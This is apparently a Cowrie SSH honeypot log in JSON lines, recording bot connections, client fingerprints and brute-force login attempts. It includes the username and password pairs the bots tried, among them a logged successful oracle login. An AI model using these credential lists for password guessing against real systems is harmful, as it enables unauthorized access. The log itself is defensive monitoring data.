{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":35470,"dst_ip":"10.17.0.5","dst_port":22,"session":"d09256cee855","protocol":"ssh","message":"New connection: 164.92.161.148:35470 (10.17.0.5:22) [session: d09256cee855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.409362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.412917Z","src_ip":"164.92.161.148","session":"d09256cee855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.497585Z","src_ip":"164.92.161.148","session":"d09256cee855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.869762Z","src_ip":"164.92.161.148","session":"d09256cee855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":35706,"dst_ip":"10.17.0.5","dst_port":22,"session":"94121fd03ca1","protocol":"ssh","message":"New connection: 139.59.208.49:35706 (10.17.0.5:22) [session: 94121fd03ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:22.365844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:22.369636Z","src_ip":"139.59.208.49","session":"94121fd03ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:22.450058Z","src_ip":"139.59.208.49","session":"94121fd03ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password#123","message":"login attempt [root/password#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:22.809897Z","src_ip":"139.59.208.49","session":"94121fd03ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:22.955685Z","src_ip":"164.92.161.148","session":"d09256cee855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":35484,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef69fe2a3fe","protocol":"ssh","message":"New connection: 164.92.161.148:35484 (10.17.0.5:22) [session: 3ef69fe2a3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.033832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.037512Z","src_ip":"164.92.161.148","session":"3ef69fe2a3fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.119905Z","src_ip":"164.92.161.148","session":"3ef69fe2a3fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.484826Z","src_ip":"164.92.161.148","session":"3ef69fe2a3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.568406Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.576120Z","src_ip":"164.92.161.148","session":"3ef69fe2a3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:23.895318Z","src_ip":"139.59.208.49","session":"94121fd03ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:27.128356Z","src_ip":"8.210.75.243","session":"16b264a8f385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cfa032724a1","protocol":"ssh","message":"New connection: 113.161.222.150:33284 (159.203.135.109:22) [session: 5cfa032724a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:35.778572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:35.785808Z","src_ip":"113.161.222.150","session":"5cfa032724a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":46992,"dst_ip":"159.203.135.109","dst_port":22,"session":"c601a1028ed1","protocol":"ssh","message":"New connection: 45.94.68.69:46992 (159.203.135.109:22) [session: c601a1028ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:35.992095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:35.995793Z","src_ip":"45.94.68.69","session":"c601a1028ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:36.025606Z","src_ip":"113.161.222.150","session":"5cfa032724a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:36.210629Z","src_ip":"45.94.68.69","session":"c601a1028ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1qaz@WSX","message":"login attempt [administrator/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:37.025812Z","src_ip":"113.161.222.150","session":"5cfa032724a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rk@123456","message":"login attempt [root/rk@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:37.103163Z","src_ip":"45.94.68.69","session":"c601a1028ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:38.288955Z","src_ip":"113.161.222.150","session":"5cfa032724a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:38.319145Z","src_ip":"45.94.68.69","session":"c601a1028ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52980,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9a385d7b43d","protocol":"ssh","message":"New connection: 8.210.75.243:52980 (10.17.0.5:22) [session: d9a385d7b43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:47.916818Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:53.846295Z","src_ip":"8.210.75.243","session":"0a6a2f3d0970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":36808,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d796a7fc3e3","protocol":"ssh","message":"New connection: 103.199.16.90:36808 (159.203.135.109:22) [session: 6d796a7fc3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:54.575326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:54.579608Z","src_ip":"103.199.16.90","session":"6d796a7fc3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:54.805091Z","src_ip":"103.199.16.90","session":"6d796a7fc3e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exclusive","password":"123456","message":"login attempt [exclusive/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:55.720819Z","src_ip":"103.199.16.90","session":"6d796a7fc3e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":60870,"dst_ip":"159.203.135.109","dst_port":22,"session":"27973b145663","protocol":"ssh","message":"New connection: 68.207.224.247:60870 (159.203.135.109:22) [session: 27973b145663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:55.961070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:55.965697Z","src_ip":"68.207.224.247","session":"27973b145663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:56.008361Z","src_ip":"68.207.224.247","session":"27973b145663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TempPass123","message":"login attempt [root/TempPass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:56.206192Z","src_ip":"68.207.224.247","session":"27973b145663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:56.941343Z","src_ip":"103.199.16.90","session":"6d796a7fc3e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:57.400911Z","src_ip":"68.207.224.247","session":"27973b145663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":45166,"dst_ip":"10.17.0.5","dst_port":22,"session":"321b2d5545c6","protocol":"ssh","message":"New connection: 122.176.122.24:45166 (10.17.0.5:22) [session: 321b2d5545c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:59.498792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:59.502827Z","src_ip":"122.176.122.24","session":"321b2d5545c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:59.778976Z","src_ip":"122.176.122.24","session":"321b2d5545c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"1","message":"login attempt [ec2-user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:00.913593Z","src_ip":"122.176.122.24","session":"321b2d5545c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:02.193526Z","src_ip":"122.176.122.24","session":"321b2d5545c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":56222,"dst_ip":"10.17.0.5","dst_port":22,"session":"010035f9dfb2","protocol":"ssh","message":"New connection: 211.106.137.135:56222 (10.17.0.5:22) [session: 010035f9dfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:09.270916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:34:09.276060Z","src_ip":"211.106.137.135","session":"010035f9dfb2","protocol":"ssh"}
